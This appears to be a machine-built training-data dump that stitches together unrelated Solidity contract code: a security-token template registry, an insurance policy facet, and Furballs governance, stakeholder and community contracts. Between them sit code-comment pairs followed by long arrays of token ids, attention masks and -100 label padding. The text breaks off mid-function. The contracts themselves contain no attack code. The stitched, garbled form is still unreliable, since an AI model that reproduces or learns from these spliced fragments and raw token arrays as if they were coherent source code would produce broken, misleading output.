address proposedOfferingFactory = offeringFactoryProposals[_securityToken][_offeringFactoryProposalIndex];
IOfferingFactory offeringFactory = IOfferingFactory(proposedOfferingFactory);
var (,,, owner,) = offeringFactory.getUsageDetails();
// Cancelation is only being performed by the owner of template.
require(owner == msg.sender);
var (,,,,,chosenOfferingFactory) = ISecurityToken(_securityToken).getTokenDetails();
require(chosenOfferingFactory != proposedOfferingFactory);
offeringFactoryProposals[_securityToken][_offeringFactoryProposalIndex] = address(0);
LogCancelOfferingFactoryProposal(_securityToken, proposedOfferingFactory, _offeringFactoryProposalIndex);
return true;
}
/**
* @dev `updateTemplateReputation` is a function that updates the
history of a security token template usage to keep track of previous uses
* @param _template The unique template id
* @param _polyRaised The amount of poly raised
*/
function updateTemplateReputation(address _template, uint256 _polyRaised) external returns (bool success) {
// Check that the caller is a security token
var (,, securityTokenOwner,) = STRegistrar.getSecurityTokenData(msg.sender);
require(securityTokenOwner != address(0));
// If it is, then update reputation
if (!templates[_template].usedBySecurityToken[msg.sender]) {
templates[_template].usedBy.push(msg.sender);
templates[_template].usedBySecurityToken[msg.sender] = true;
}
templates[_template].totalRaised = templates[_template].totalRaised.add(_polyRaised);
return true;
}
/**
* @dev `updateOfferingReputation` is a function that updates the
history of a security token offeringFactory contract to keep track of previous uses
* @param _offeringFactory The address of the offering factory
* @param _polyRaised The amount of poly raised
*/
function updateOfferingFactoryReputation(address _offeringFactory, uint256 _polyRaised) external returns (bool success) {
// Check that the caller is a security token
var (,, securityTokenOwner,) = STRegistrar.getSecurityTokenData(msg.sender);
require(securityTokenOwner != address(0));
// If it is, then update reputation
if (!offeringFactories[_offeringFactory].usedBySecurityToken[msg.sender]) {
offeringFactories[_offeringFactory].usedBy.push(msg.sender);
offeringFactories[_offeringFactory].usedBySecurityToken[msg.sender] = true;
}
offeringFactories[_offeringFactory].totalRaised = offeringFactories[_offeringFactory].totalRaised.add(_polyRaised);
return true;
}
/**
* @dev Get template details by the proposal index
* @param _securityTokenAddress The security token ethereum address
* @param _templateIndex The array index of the template being checked
* @return Template struct
*/
function getTemplateByProposal(address _securityTokenAddress, uint8 _templateIndex) view public returns (
address _template
){
return templateProposals[_securityTokenAddress][_templateIndex];
}
/**
* @dev Get an array containing the address of all template proposals for a given ST
* @param _securityTokenAddress The security token address
* @return Template proposals array
*/
function getAllTemplateProposals(address _securityTokenAddress) view public returns (address[]) {
return templateProposals[_securityTokenAddress];
}
/**
* @dev Get security token offering smart contract details by the proposal index
* @param _securityTokenAddress The security token address
* @param _offeringFactoryProposalIndex The array index of the STO contract being checked
* @return Contract struct
*/
function getOfferingFactoryByProposal(address _securityTokenAddress, uint8 _offeringFactoryProposalIndex) view public returns (
address _offeringFactoryAddress
){
return offeringFactoryProposals[_securityTokenAddress][_offeringFactoryProposalIndex];
}
/**
* @dev Get an array containing the address of all offering proposals for a given ST
* @param _securityTokenAddress The security token address
* @return Offering proposals array
*/
function getAllOfferingFactoryProposals(address _securityTokenAddress) view public returns (address[]) {
return offeringFactoryProposals[_securityTokenAddress];
}
}
| Template proposals for a specific security token
| mapping(address => address[]) public templateProposals; | 2,548,402 | [
1,
2283,
450,
22536,
364,
279,
2923,
4373,
1147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
12,
2867,
516,
1758,
63,
5717,
1071,
1542,
626,
22536,
31,
9079,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.6.12;
import "./base/Address.sol";
import "./base/Controller.sol";
import "./base/EternalStorage.sol";
import './base/IERC20.sol';
import "./base/IDiamondFacet.sol";
import "./base/AccessControl.sol";
import "./base/IPolicyTreasuryConstants.sol";
import "./base/IPolicyCoreFacet.sol";
import "./base/IPolicyTranchTokensFacet.sol";
import ".//PolicyFacetBase.sol";
import "./base/SafeMath.sol";
import "./TranchToken.sol";
import "./base/ReentrancyGuard.sol";
/**
* @dev Core policy logic
*/
contract PolicyCoreFacet is EternalStorage, Controller, IDiamondFacet, IPolicyCoreFacet, PolicyFacetBase, IPolicyTreasuryConstants, ReentrancyGuard {
using SafeMath for uint;
using Address for address;
// Modifiers //
modifier assertIsOwner () {
require(inRoleGroup(msg.sender, ROLEGROUP_POLICY_OWNERS), 'must be policy owner');
_;
}
modifier assertCreatedState () {
require(dataUint256["state"] == POLICY_STATE_CREATED, 'must be in created state');
_;
}
/**
* Constructor
*/
constructor (address _settings) Controller(_settings) public {
// nothing
}
// IDiamondFacet
function getSelectors () public pure override returns (bytes memory) {
return abi.encodePacked(
IPolicyCoreFacet.createTranch.selector,
IPolicyCoreFacet.markAsReadyForApproval.selector,
IPolicyCoreFacet.getInfo.selector,
IPolicyCoreFacet.getTranchInfo.selector,
IPolicyCoreFacet.calculateMaxNumOfPremiums.selector,
IPolicyCoreFacet.initiationDateHasPassed.selector,
IPolicyCoreFacet.startDateHasPassed.selector,
IPolicyCoreFacet.maturationDateHasPassed.selector,
IPolicyCoreFacet.checkAndUpdateState.selector
);
}
// IPolicyCore //
function createTranch (
uint256 _numShares,
uint256 _pricePerShareAmount,
uint256[] calldata _premiums
)
external
override
assertIsOwner
assertCreatedState
{
require(_numShares > 0, 'invalid num of shares');
require(_pricePerShareAmount > 0, 'invalid price');
// tranch count
uint256 i = dataUint256["numTranches"];
dataUint256["numTranches"] = i + 1;
require(dataUint256["numTranches"] <= 99, 'max tranches reached');
// setup initial data for tranch
dataUint256[__i(i, "numShares")] = _numShares;
dataUint256[__i(i, "pricePerShareAmount")] = _pricePerShareAmount;
// iterate through premiums and figure out what needs to paid and when
uint256 nextPayTime = dataUint256["initiationDate"];
uint256 numPremiums = 0;
for (uint256 p = 0; _premiums.length > p; p += 1) {
// we only care about premiums > 0
if (_premiums[p] > 0) {
dataUint256[__ii(i, numPremiums, "premiumAmount")] = _premiums[p];
dataUint256[__ii(i, numPremiums, "premiumDueAt")] = nextPayTime;
numPremiums += 1;
}
// the premium interval still counts
nextPayTime += dataUint256["premiumIntervalSeconds"];
}
// save total premiums
require(numPremiums <= calculateMaxNumOfPremiums(), 'too many premiums');
dataUint256[__i(i, "numPremiums")] = numPremiums;
// deploy token contract
TranchToken t = new TranchToken(address(this), i);
// initial holder
address holder = dataAddress["treasury"];
string memory initialHolderKey = __i(i, "initialHolder");
dataAddress[initialHolderKey] = holder;
// set initial holder balance
string memory contractBalanceKey = __ia(i, dataAddress[initialHolderKey], "balance");
dataUint256[contractBalanceKey] = _numShares;
// save reference
string memory addressKey = __i(i, "address");
dataAddress[addressKey] = address(t);
emit CreateTranch(address(t), dataAddress[initialHolderKey], i);
}
function markAsReadyForApproval()
external
override
assertCreatedState
assertIsOwner
{
_setPolicyState(POLICY_STATE_READY_FOR_APPROVAL);
}
function getInfo () public view override returns (
address treasury_,
uint256 initiationDate_,
uint256 startDate_,
uint256 maturationDate_,
address unit_,
uint256 premiumIntervalSeconds_,
uint256 brokerCommissionBP_,
uint256 claimsAdminCommissionBP_,
uint256 naymsCommissionBP_,
uint256 numTranches_,
uint256 state_
) {
treasury_ = dataAddress["treasury"];
initiationDate_ = dataUint256["initiationDate"];
startDate_ = dataUint256["startDate"];
maturationDate_ = dataUint256["maturationDate"];
unit_ = dataAddress["unit"];
premiumIntervalSeconds_ = dataUint256["premiumIntervalSeconds"];
brokerCommissionBP_ = dataUint256["brokerCommissionBP"];
claimsAdminCommissionBP_ = dataUint256["claimsAdminCommissionBP"];
naymsCommissionBP_ = dataUint256["naymsCommissionBP"];
numTranches_ = dataUint256["numTranches"];
state_ = dataUint256["state"];
}
function getTranchInfo (uint256 _index) public view override returns (
address token_,
uint256 state_,
uint256 numShares_,
uint256 initialPricePerShare_,
uint256 balance_,
uint256 sharesSold_,
uint256 initialSaleOfferId_,
uint256 finalBuybackofferId_
) {
token_ = dataAddress[__i(_index, "address")];
state_ = dataUint256[__i(_index, "state")];
numShares_ = dataUint256[__i(_index, "numShares")];
initialPricePerShare_ = dataUint256[__i(_index, "pricePerShareAmount")];
balance_ = dataUint256[__i(_index, "balance")];
sharesSold_ = dataUint256[__i(_index, "sharesSold")];
initialSaleOfferId_ = dataUint256[__i(_index, "initialSaleOfferId")];
finalBuybackofferId_ = dataUint256[__i(_index, "finalBuybackOfferId")];
}
function initiationDateHasPassed () public view override returns (bool) {
return block.timestamp >= dataUint256["initiationDate"];
}
function startDateHasPassed () public view override returns (bool) {
return block.timestamp >= dataUint256["startDate"];
}
function maturationDateHasPassed () public view override returns (bool) {
return block.timestamp >= dataUint256["maturationDate"];
}
// heartbeat function!
function checkAndUpdateState() public override nonReentrant {
// past the initiation date
if (initiationDateHasPassed()) {
// past the start date
if (startDateHasPassed()) {
_ensureTranchesAreUpToDate();
_activatePolicyIfPending();
// if past the maturation date
if (maturationDateHasPassed()) {
_maturePolicy();
}
}
// not yet past start date
else {
_cancelPolicyIfNotFullyApproved();
_beginPolicySaleIfNotYetStarted();
}
}
}
function calculateMaxNumOfPremiums() public view override returns (uint256) {
return (dataUint256["maturationDate"] - dataUint256["initiationDate"]) / dataUint256["premiumIntervalSeconds"] + 1;
}
// Internal methods
function _cancelTranchMarketOffer(uint _index) private {
uint256 initialSaleOfferId = dataUint256[__i(_index, "initialSaleOfferId")];
_getTreasury().cancelOrder(initialSaleOfferId);
}
function _cancelPolicyIfNotFullyApproved() private {
if (dataUint256["state"] == POLICY_STATE_CREATED || dataUint256["state"] == POLICY_STATE_IN_APPROVAL) {
_setPolicyState(POLICY_STATE_CANCELLED);
}
}
function _beginPolicySaleIfNotYetStarted() private {
if (dataUint256["state"] == POLICY_STATE_APPROVED) {
bool allReady = true;
// check every tranch
for (uint256 i = 0; dataUint256["numTranches"] > i; i += 1) {
allReady = allReady && (0 >= _getNumberOfTranchPaymentsMissed(i));
}
// stop processing if some tranch payments have been missed
if (!allReady) {
return;
}
for (uint256 i = 0; dataUint256["numTranches"] > i; i += 1) {
// tranch/token address
address tranchAddress = dataAddress[__i(i, "address")];
// get supply
uint256 totalSupply = IPolicyTranchTokensFacet(address(this)).tknTotalSupply(i);
// calculate sale values
uint256 pricePerShare = dataUint256[__i(i, "pricePerShareAmount")];
uint256 totalPrice = totalSupply.mul(pricePerShare);
// set tranch state
_setTranchState(i, TRANCH_STATE_SELLING);
// offer tokens in initial sale
dataUint256[__i(i, "initialSaleOfferId")] = _getTreasury().createOrder(
ORDER_TYPE_TOKEN_SALE,
tranchAddress,
totalSupply,
dataAddress["unit"],
totalPrice
);
}
// set policy state to selling
_setPolicyState(POLICY_STATE_INITIATED);
}
}
function _activatePolicyIfPending() private {
// make policy active if necessary
if (dataUint256["state"] == POLICY_STATE_INITIATED) {
// calculate total collateral requried
uint256 minPolicyCollateral = 0;
for (uint256 i = 0; dataUint256["numTranches"] > i; i += 1) {
if (dataUint256[__i(i, "state")] == TRANCH_STATE_ACTIVE) {
minPolicyCollateral += dataUint256[__i(i, "sharesSold")] * dataUint256[__i(i, "pricePerShareAmount")];
}
}
// set min. collateral balance to treasury
_getTreasury().setMinPolicyBalance(minPolicyCollateral);
// update policy state
_setPolicyState(POLICY_STATE_ACTIVE);
}
}
function _ensureTranchesAreUpToDate() private {
// check state of each tranch
for (uint256 i = 0; dataUint256["numTranches"] > i; i += 1) {
uint256 state = dataUint256[__i(i, "state")];
// if tranch not yet fully sold OR if a payment has been missed
if (state == TRANCH_STATE_SELLING || 0 < _getNumberOfTranchPaymentsMissed(i)) {
// set state to cancelled
// (do this before cancelling market order otherwise _transfer() logic goes haywire)
_setTranchState(i, TRANCH_STATE_CANCELLED);
// cancel any outstanding market order
_cancelTranchMarketOffer(i);
}
}
}
function _maturePolicy () private {
// if no pending claims
if (0 == dataUint256["claimsPendingCount"] && _getTreasury().isPolicyCollateralized(address(this))) {
// if we haven't yet initiated tranch buyback
if (!dataBool["buybackInitiated"]) {
_setPolicyState(POLICY_STATE_BUYBACK);
dataBool["buybackInitiated"] = true;
// buy back all tranch tokens
for (uint256 i = 0; dataUint256["numTranches"] > i; i += 1) {
if (dataUint256[__i(i, "state")] == TRANCH_STATE_ACTIVE) {
_setTranchState(i, TRANCH_STATE_MATURED);
}
address unitAddress = dataAddress["unit"];
uint256 tranchBalance = dataUint256[__i(i, "balance")];
// buy back all sold tokens
dataUint256[__i(i, "finalBuybackOfferId")] = _getTreasury().createOrder(
ORDER_TYPE_TOKEN_BUYBACK,
unitAddress,
tranchBalance,
dataAddress[__i(i, "address")],
dataUint256[__i(i, "sharesSold")]
);
}
}
}
// if there are pending claims
else {
_setPolicyState(POLICY_STATE_MATURED);
}
}
}
| set min. collateral balance to treasury | _getTreasury().setMinPolicyBalance(minPolicyCollateral);
| 12,668,132 | [
1,
542,
1131,
18,
4508,
2045,
287,
11013,
358,
9787,
345,
22498,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1377,
389,
588,
56,
266,
345,
22498,
7675,
542,
2930,
2582,
13937,
12,
1154,
2582,
13535,
2045,
287,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.6;
import "./Stakeholders.sol";
import "./Community.sol";
import "./FurLib.sol";
/// @title Governance
/// @author LFG Gaming LLC
/// @notice Meta-tracker for Furballs; looks at the ecosystem (metadata, wallet counts, etc.)
/// @dev Shares is an ERC20; stakeholders is a payable
contract Governance is Stakeholders {
/// @notice Where transaction fees are deposited
address payable public treasury;
/// @notice How much is the transaction fee, in basis points?
uint16 public transactionFee = 250;
/// @notice Used in contractURI for Furballs itself.
string public metaName = "Furballs.com (Official)";
/// @notice Used in contractURI for Furballs itself.
string public metaDescription =
"Furballs are entirely on-chain, with a full interactive gameplay experience at Furballs.com. "
"There are 88 billion+ possible furball combinations in the first edition, each with their own special abilities"
"... but only thousands minted per edition. Each edition has new artwork, game modes, and surprises.";
// Tracks the MAX which are ever owned by a given address.
mapping(address => FurLib.Account) private _account;
// List of all addresses which have ever owned a furball.
address[] public accounts;
Community public community;
constructor(address furballsAddress) Stakeholders(furballsAddress) {
treasury = payable(this);
}
/// @notice Generic form of contractURI for on-chain packing.
/// @dev Proxied from Furballs, but not called contractURI so as to not imply this ERC20 is tradeable.
function metaURI() public view returns(string memory) {
return string(abi.encodePacked("data:application/json;base64,", FurLib.encode(abi.encodePacked(
'{"name": "', metaName,'", "description": "', metaDescription,'"',
', "external_link": "https://furballs.com"',
', "image": "https://furballs.com/images/pfp.png"',
', "seller_fee_basis_points": ', FurLib.uint2str(transactionFee),
', "fee_recipient": "0x', FurLib.bytesHex(abi.encodePacked(treasury)), '"}'
))));
}
/// @notice total count of accounts
function numAccounts() external view returns(uint256) {
return accounts.length;
}
/// @notice Update metadata for main contractURI
function setMeta(string memory nameVal, string memory descVal) external gameAdmin {
metaName = nameVal;
metaDescription = descVal;
}
/// @notice The transaction fee can be adjusted
function setTransactionFee(uint16 basisPoints) external gameAdmin {
transactionFee = basisPoints;
}
/// @notice The treasury can be changed in only rare circumstances.
function setTreasury(address treasuryAddress) external onlyOwner {
treasury = payable(treasuryAddress);
}
/// @notice The treasury can be changed in only rare circumstances.
function setCommunity(address communityAddress) external onlyOwner {
community = Community(communityAddress);
}
/// @notice public accessor updates permissions
function getAccount(address addr) external view returns (FurLib.Account memory) {
FurLib.Account memory acc = _account[addr];
acc.permissions = _userPermissions(addr);
return acc;
}
/// @notice Public function allowing manual update of standings
function updateStandings(address[] memory addrs) public {
for (uint32 i=0; i<addrs.length; i++) {
_updateStanding(addrs[i]);
}
}
/// @notice Moderators may assign reputation to accounts
function setReputation(address addr, uint16 rep) external gameModerators {
_account[addr].reputation = rep;
}
/// @notice Tracks the max level an account has *obtained*
function updateMaxLevel(address addr, uint16 level) external gameAdmin {
if (_account[addr].maxLevel >= level) return;
_account[addr].maxLevel = level;
_updateStanding(addr);
}
/// @notice Recompute max stats for the account.
function updateAccount(address addr, uint256 numFurballs) external gameAdmin {
FurLib.Account memory acc = _account[addr];
// Recompute account permissions for internal rewards
uint8 permissions = _userPermissions(addr);
if (permissions != acc.permissions) _account[addr].permissions = permissions;
// New account created?
if (acc.created == 0) _account[addr].created = uint64(block.timestamp);
if (acc.numFurballs != numFurballs) _account[addr].numFurballs = uint32(numFurballs);
// New max furballs?
if (numFurballs > acc.maxFurballs) {
if (acc.maxFurballs == 0) accounts.push(addr);
_account[addr].maxFurballs = uint32(numFurballs);
}
_updateStanding(addr);
}
/// @notice Re-computes the account's standing
function _updateStanding(address addr) internal {
uint256 standing = 0;
FurLib.Account memory acc = _account[addr];
if (address(community) != address(0)) {
// If community is patched in later...
standing = community.update(acc, addr);
} else {
// Default computation of standing
uint32 num = acc.numFurballs;
if (num > 0) {
standing = num * 10 + acc.maxLevel + acc.reputation;
}
}
_account[addr].standing = uint16(standing);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.6;
import "./FurProxy.sol";
import "./FurLib.sol";
import "../Furballs.sol";
/// @title Stakeholders
/// @author LFG Gaming LLC
/// @notice Tracks "percent ownership" of a smart contract, paying out according to schedule
/// @dev Acts as a treasury, receiving ETH funds and distributing them to stakeholders
abstract contract Stakeholders is FurProxy {
// stakeholder values, in 1/1000th of a percent (received during withdrawls)
mapping(address => uint64) public stakes;
// List of stakeholders.
address[] public stakeholders;
// Where any remaining funds should be deposited. Defaults to contract creator.
address payable public poolAddress;
constructor(address furballsAddress) FurProxy(furballsAddress) {
poolAddress = payable(msg.sender);
}
/// @notice Overflow pool of funds. Contains remaining funds from withdrawl.
function setPool(address addr) public onlyOwner {
poolAddress = payable(addr);
}
/// @notice Changes payout percentages.
function setStakeholder(address addr, uint64 stake) public onlyOwner {
if (!_hasStakeholder(addr)) {
stakeholders.push(addr);
}
uint64 percent = stake;
for (uint256 i=0; i<stakeholders.length; i++) {
if (stakeholders[i] != addr) {
percent += stakes[stakeholders[i]];
}
}
require(percent <= FurLib.OneHundredPercent, "Invalid stake (exceeds 100%)");
stakes[addr] = stake;
}
/// @notice Empties this contract's balance, paying out to stakeholders.
function withdraw() external gameAdmin {
uint256 balance = address(this).balance;
require(balance >= FurLib.OneHundredPercent, "Insufficient balance");
for (uint256 i=0; i<stakeholders.length; i++) {
address addr = stakeholders[i];
uint256 payout = balance * uint256(stakes[addr]) / FurLib.OneHundredPercent;
if (payout > 0) {
payable(addr).transfer(payout);
}
}
uint256 remaining = address(this).balance;
poolAddress.transfer(remaining);
}
/// @notice Check
function _hasStakeholder(address addr) internal view returns(bool) {
for (uint256 i=0; i<stakeholders.length; i++) {
if (stakeholders[i] == addr) {
return true;
}
}
return false;
}
// -----------------------------------------------------------------------------------------------
// Payable
// -----------------------------------------------------------------------------------------------
/// @notice This contract can be paid transaction fees, e.g., from OpenSea
/// @dev The contractURI specifies itself as the recipient of transaction fees
receive() external payable { }
}
// SPDX-License-Identifier: BSD-3-Clause
/// @title Vote checkpointing for an ERC-721 token
/// @dev This ERC20 has been adopted from
/// https://github.com/nounsDAO/nouns-monorepo/blob/master/packages/nouns-contracts/contracts/base/ERC721Checkpointable.sol
/*********************************
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░██░░░████░░██░░░████░░░ *
* ░░██████░░░████████░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
*********************************/
// LICENSE
// Community.sol uses and modifies part of Compound Lab's Comp.sol:
// https://github.com/compound-finance/compound-protocol/blob/ae4388e780a8d596d97619d9704a931a2752c2bc/contracts/Governance/Comp.sol
//
// Comp.sol source code Copyright 2020 Compound Labs, Inc. licensed under the BSD-3-Clause license.
// With modifications by Nounders DAO.
//
// Additional conditions of BSD-3-Clause can be found here: https://opensource.org/licenses/BSD-3-Clause
//
// MODIFICATIONS
// Checkpointing logic from Comp.sol has been used with the following modifications:
// - `delegates` is renamed to `_delegates` and is set to private
// - `delegates` is a public function that uses the `_delegates` mapping look-up, but unlike
// Comp.sol, returns the delegator's own address if there is no delegate.
// This avoids the delegator needing to "delegate to self" with an additional transaction
// - `_transferTokens()` is renamed `_beforeTokenTransfer()` and adapted to hook into OpenZeppelin's ERC721 hooks.
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./FurLib.sol";
/// @title Community
/// @author LFG Gaming LLC
/// @notice This is a derived token; it represents a weighted balance of the ERC721 token (Furballs).
/// @dev There is no fiscal interest in Community. This is simply a measured value of community voice.
contract Community is ERC20 {
/// @notice A record of each accounts delegate
mapping(address => address) private _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
constructor() ERC20("FurballsCommunity", "FBLS") { }
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256('EIP712Domain(string name,uint256 chainId,address verifyingContract)');
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH =
keccak256('Delegation(address delegatee,uint256 nonce,uint256 expiry)');
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/**
* @notice The votes a delegator can delegate, which is the current balance of the delegator.
* @dev Used when calling `_delegate()`
*/
function votesToDelegate(address delegator) public view returns (uint96) {
return safe96(balanceOf(delegator), 'Community::votesToDelegate: amount exceeds 96 bits');
}
/**
* @notice Overrides the standard `Comp.sol` delegates mapping to return
* the delegator's own address if they haven't delegated.
* This avoids having to delegate to oneself.
*/
function delegates(address delegator) public view returns (address) {
address current = _delegates[delegator];
return current == address(0) ? delegator : current;
}
/// @notice Sets the addresses' standing directly
function update(FurLib.Account memory account, address addr) external returns (uint256) {
require(false, 'NEED SECURITY');
// uint256 balance = balanceOf(addr);
// if (standing > balance) {
// _mint(addr, standing - balance);
// } else if (standing < balance) {
// _burn(addr, balance - standing);
// }
}
/**
* @notice Adapted from `_transferTokens()` in `Comp.sol` to update delegate votes.
* @dev hooks into OpenZeppelin's `ERC721._transfer`
*/
function _beforeTokenTransfer(
address from,
address to,
